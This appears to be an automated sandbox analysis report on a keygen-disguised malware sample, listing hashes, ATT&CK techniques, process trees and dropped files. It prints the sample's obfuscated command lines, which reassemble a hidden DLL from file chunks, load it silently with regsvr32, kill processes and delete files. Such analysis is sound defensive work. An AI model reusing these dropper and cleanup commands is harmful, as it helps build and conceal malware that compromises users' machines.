798c35cdaf9d1be6b57310091bc555d2935ff8fdbe20eae5282986ea178c3348

Analysis

max time kernel
139s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
05-11-2024 08:20

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General

Target

keygen-step-5.exe
Size

1.9MB
MD5

3b7a3bba78f866019d4addccffcf3942
SHA1

a1a467cc72b2b0b5678aed806435ab4e4f3a232e
SHA256

c9022d72e11ce317a5edd37195ac5e7aac341e1df29792f04d2c181eac6dea1b
SHA512

86978fd7b9f92338c6328494c00032b400ce596952df266b3123ed949ef7324708ae03927739c4686efdb89727f8e0a89147a6367bb3485290ba84ef9406c469
SSDEEP

24576:q9qFtP8Q12rlO5Onp6iMsKmLYcX7Kx6BPLNtszaEvxAirQuPZY88PDR3YWff8yP0:N1clGWIiSmVOEBwzacxAir/RYBDu/3uw

Score

7^/10

discovery

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

keygen-step-5.exeyCLcV_JUHy~2UXJ.ExE

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	keygen-step-5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	yCLcV_JUHy~2UXJ.ExE

Executes dropped EXE 2 IoCs

Processes:

yCLcV_JUHy~2UXJ.ExEe58b745.exe

pid process

3972 yCLcV_JUHy~2UXJ.ExE
2960 e58b745.exe
Loads dropped DLL 2 IoCs

Processes:

regsvr32.exe

pid process

2676 regsvr32.exe
2676 regsvr32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1884 2960 WerFault.exe e58b745.exe

pid	process
3972	yCLcV_JUHy~2UXJ.ExE
2960	e58b745.exe

pid	process
2676	regsvr32.exe
2676	regsvr32.exe

pid	pid_target	process	target process
1884	2960	WerFault.exe	e58b745.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

keygen-step-5.execmd.exeyCLcV_JUHy~2UXJ.ExEtaskkill.execmd.execmd.execmd.exeregsvr32.execmd.exee58b745.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	keygen-step-5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yCLcV_JUHy~2UXJ.ExE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e58b745.exe

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

2888 taskkill.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

regsvr32.exe

pid process

2676 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

taskkill.exe

description pid process

Token: SeDebugPrivilege 2888 taskkill.exe

pid	process
2888	taskkill.exe

pid	process
2676	regsvr32.exe

description	pid	process
Token: SeDebugPrivilege	2888	taskkill.exe

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

keygen-step-5.execmd.exeyCLcV_JUHy~2UXJ.ExEcmd.exeregsvr32.exe

description	pid	process	target process
PID 1840 wrote to memory of 2344	1840	keygen-step-5.exe	cmd.exe
PID 1840 wrote to memory of 2344	1840	keygen-step-5.exe	cmd.exe
PID 1840 wrote to memory of 2344	1840	keygen-step-5.exe	cmd.exe
PID 2344 wrote to memory of 3972	2344	cmd.exe	yCLcV_JUHy~2UXJ.ExE
PID 2344 wrote to memory of 3972	2344	cmd.exe	yCLcV_JUHy~2UXJ.ExE
PID 2344 wrote to memory of 3972	2344	cmd.exe	yCLcV_JUHy~2UXJ.ExE
PID 2344 wrote to memory of 2888	2344	cmd.exe	taskkill.exe
PID 2344 wrote to memory of 2888	2344	cmd.exe	taskkill.exe
PID 2344 wrote to memory of 2888	2344	cmd.exe	taskkill.exe
PID 3972 wrote to memory of 2104	3972	yCLcV_JUHy~2UXJ.ExE	cmd.exe
PID 3972 wrote to memory of 2104	3972	yCLcV_JUHy~2UXJ.ExE	cmd.exe
PID 3972 wrote to memory of 2104	3972	yCLcV_JUHy~2UXJ.ExE	cmd.exe
PID 3972 wrote to memory of 3656	3972	yCLcV_JUHy~2UXJ.ExE	cmd.exe
PID 3972 wrote to memory of 3656	3972	yCLcV_JUHy~2UXJ.ExE	cmd.exe
PID 3972 wrote to memory of 3656	3972	yCLcV_JUHy~2UXJ.ExE	cmd.exe
PID 3656 wrote to memory of 3604	3656	cmd.exe	cmd.exe
PID 3656 wrote to memory of 3604	3656	cmd.exe	cmd.exe
PID 3656 wrote to memory of 3604	3656	cmd.exe	cmd.exe
PID 3656 wrote to memory of 2532	3656	cmd.exe	cmd.exe
PID 3656 wrote to memory of 2532	3656	cmd.exe	cmd.exe
PID 3656 wrote to memory of 2532	3656	cmd.exe	cmd.exe
PID 3656 wrote to memory of 2676	3656	cmd.exe	regsvr32.exe
PID 3656 wrote to memory of 2676	3656	cmd.exe	regsvr32.exe
PID 3656 wrote to memory of 2676	3656	cmd.exe	regsvr32.exe
PID 2676 wrote to memory of 2960	2676	regsvr32.exe	e58b745.exe
PID 2676 wrote to memory of 2960	2676	regsvr32.exe	e58b745.exe
PID 2676 wrote to memory of 2960	2676	regsvr32.exe	e58b745.exe

C:\Users\Admin\AppData\Local\Temp\keygen-step-5.exe
"C:\Users\Admin\AppData\Local\Temp\keygen-step-5.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1840
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /Q /C typE "C:\Users\Admin\AppData\Local\Temp\keygen-step-5.exe" > ..\yCLcV_JUHy~2UXJ.ExE && STaRT ..\YCLCV_JUHY~2UXJ.ExE -PdpV4tWBoTeEAefzfcz & IF ""==""for %I IN ("C:\Users\Admin\AppData\Local\Temp\keygen-step-5.exe" ) do taskkill /iM "%~NxI" -F > nUl
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Users\Admin\AppData\Local\Temp\yCLcV_JUHy~2UXJ.ExE
    ..\YCLCV_JUHY~2UXJ.ExE -PdpV4tWBoTeEAefzfcz
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3972
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /Q /C typE "C:\Users\Admin\AppData\Local\Temp\yCLcV_JUHy~2UXJ.ExE" > ..\yCLcV_JUHy~2UXJ.ExE && STaRT ..\YCLCV_JUHY~2UXJ.ExE -PdpV4tWBoTeEAefzfcz & IF "-PdpV4tWBoTeEAefzfcz "==""for %I IN ("C:\Users\Admin\AppData\Local\Temp\yCLcV_JUHy~2UXJ.ExE" ) do taskkill /iM "%~NxI" -F > nUl
      4⤵
      System Location Discovery: System Language Discovery
      PID:2104
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /q /C ecHo %randoM%XyyM> S7YcxJ2.x & EcHO| seT /P ="MZ" > CepfIAXQ.8 &copY /Y /b cepfIAXQ.8 + KQTlyS.E+DPSBV.B+ P8AkH.lP + TE2K.C + 7_7S.4tB + _AqLYN6~.KN + 12UX9.H4T + S7YcxJ2.x ..\ID5A1C.7a > nUl & starTregsvr32.exe /S ..\ID5A1C.7A & dEl/q * > nuL
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3656
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHO"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3604
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" seT /P ="MZ" 1>CepfIAXQ.8"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2532
    - - C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32.exe /S ..\ID5A1C.7A
        5⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2676
      - C:\Users\Admin\AppData\Local\Temp\e58b745.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e58b745.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2960
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2960 -s 808
        7⤵
        Program crash
        
        PID:1884
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /iM "keygen-step-5.exe" -F
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2960 -ip 2960
1⤵
PID:1136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RarSFX1\7_7s.4tB

Filesize
77KB

MD5
0487f0b988b3a89a1f8c0a280d35c668

SHA1
9c29a470b5f0ea99105f9d25766b65e8ebdcf3d2

SHA256
2a84fa9c15c71cf185d1e3031a72f0d1559adf556455e0875cda55bab553b66b

SHA512
35c637a87883c0e4d429a19e11816b737ea05f37566ceeb22d9fd2c36ef568fb2ba699b10f23d276f640114ef3c1cc56481c0701046ad13a83fdf2693f6a35d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\CepfIAXQ.8

Filesize
2B

MD5
ac6ad5d9b99757c3a878f2d275ace198

SHA1
439baa1b33514fb81632aaf44d16a9378c5664fc

SHA256
9b8db510ef42b8ed54a3712636fda55a4f8cfcd5493e20b74ab00cd4f3979f2d

SHA512
bfcdcb26b6f0c288838da7b0d338c2af63798a2ece9dcd6bc07b7cadf44477e3d5cfbba5b72446c61a1ecf74a0bccc62894ea87a40730cd1d4c2a3e15a7bb55b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\DpsBv.B

Filesize
428KB

MD5
9a66c3b6836700f26deb13b6d37aa4b6

SHA1
013ecc7e28dd831c89660dd8dd042e7ea3dc9d2d

SHA256
3ee047a4b812813f4777bac2f92a91849ab4519836076443c314ee296cba5ba9

SHA512
1bccc6459a8e3190b542b04a15a8820bc27bb545f891d910badca3b18bceaea34fd046b1a651558fdbfbdbb7d1a93d7fdeb3a471e0903556c7c9910b77e4dc73

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\KQTlyS.E

Filesize
86KB

MD5
f4f7afc50a289cc67f88772c2aa9c2fa

SHA1
4b0126fb5baa302c18334f504e03a2d4c6e9c802

SHA256
909f5d21d276cc1fc644dd57dcbabd4b25e02c6fc6888fafed04bb0a7ddb6fbd

SHA512
0f73f5426c7e467eb0c03cb385571ba5bffed78f23743269be97336b11ed96d5f339a9a1173657f83b814621dd6109d26b8ac1fdb7864ef5497ffe55474afd66

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\P8Akh.lP

Filesize
302KB

MD5
9a8e502f75614d00263a8ca83644f554

SHA1
1253d6b6386492c57191c6985e3643d7138cb939

SHA256
3dca184debb9b047947d7b4689fe4db0c520ea330f6eee8a7780433b083eb37a

SHA512
463ffc7f2c3d157215b64977fb60f0084884d6301c14988b37e89a4cf855df508f1e94d8fb3404f6f63711c5086e30dbb721c3489983dca786385a79bcae736f

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\_AqLYN6~.kN

Filesize
154KB

MD5
e22775ce37deb96f373634c481830799

SHA1
7411eb24d3c5e197627d81e20f3a4551a040c166

SHA256
36e2aeeceb8aa59e823f13e7bdbd6af8700ffd18f16a4d724991ecf31eb8dd6a

SHA512
7b42cf7339e5c0e17dca42629a7df2d732c0b13f092269508b250772f4d1c64d40dd644b4639d4e1884573526a4b0bf3f646e0e2fa585d88b0723dbd6c7affbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\te2K.c

Filesize
123KB

MD5
dbb25fece40a910dd4da12cf29d32392

SHA1
0f42f363bb3458b0bf5ff9dcd1ff9a8615baa6fd

SHA256
0ffc3aeb41340555ec116f4c0e0004d37de7130613b19bbb3704be551234b57d

SHA512
f07918a776c5f4f62b5a2ed1611aedb79eef5dc1982dd8727477f4b5c233870df6e3a82acef7691bb8d14d5f65d4919ae80351103e6e39e09b699a87748a1635

Download Submit
C:\Users\Admin\AppData\Local\Temp\e58b745.exe

Filesize
21KB

MD5
858939a54a0406e5be7220b92b6eb2b3

SHA1
da24c0b6f723a74a8ec59e58c9c0aea3e86b7109

SHA256
a30f30a109cb78d5eb1969f6c13f01a1e0a5f07b7ad8b133f5d2616223c1ce0a

SHA512
8875d1e43ea59314695747796894a2f171e92f7b04024dbc529af1497331489e279cd06ea03061288089d2f07ad437178b9d62f0bae2e16ae0b95c5681569401

Download Submit
C:\Users\Admin\AppData\Local\Temp\yCLcV_JUHy~2UXJ.ExE

Filesize
1.9MB

MD5
3b7a3bba78f866019d4addccffcf3942

SHA1
a1a467cc72b2b0b5678aed806435ab4e4f3a232e

SHA256
c9022d72e11ce317a5edd37195ac5e7aac341e1df29792f04d2c181eac6dea1b

SHA512
86978fd7b9f92338c6328494c00032b400ce596952df266b3123ed949ef7324708ae03927739c4686efdb89727f8e0a89147a6367bb3485290ba84ef9406c469

Download Submit
memory/2676-36-0x000000002DBC0000-0x000000002DC5A000-memory.dmp

Filesize
616KB

Download
memory/2676-46-0x000000002E760000-0x000000002E7EF000-memory.dmp

Filesize
572KB

Download
memory/2676-39-0x000000002DBC0000-0x000000002DC5A000-memory.dmp

Filesize
616KB

Download
memory/2676-40-0x00000000029D0000-0x00000000039D0000-memory.dmp

Filesize
16.0MB

Download
memory/2676-43-0x000000002DBC0000-0x000000002DC5A000-memory.dmp

Filesize
616KB

Download
memory/2676-44-0x000000002DC60000-0x000000002E6A2000-memory.dmp

Filesize
10.3MB

Download
memory/2676-45-0x000000002E6B0000-0x000000002E743000-memory.dmp

Filesize
588KB

Download
memory/2676-35-0x0000000002910000-0x00000000029BE000-memory.dmp

Filesize
696KB

Download
memory/2676-49-0x000000002E760000-0x000000002E7EF000-memory.dmp

Filesize
572KB

Download
memory/2676-50-0x0000000000AD0000-0x0000000000AD1000-memory.dmp

Filesize
4KB

Download
memory/2676-51-0x0000000000AD0000-0x0000000000AD4000-memory.dmp

Filesize
16KB

Download
memory/2676-52-0x0000000000AE0000-0x0000000000AE6000-memory.dmp

Filesize
24KB

Download
memory/2676-34-0x00000000029D0000-0x00000000039D0000-memory.dmp

Filesize
16.0MB

Download
memory/2960-69-0x0000000000E50000-0x0000000000E58000-memory.dmp

Filesize
32KB

Download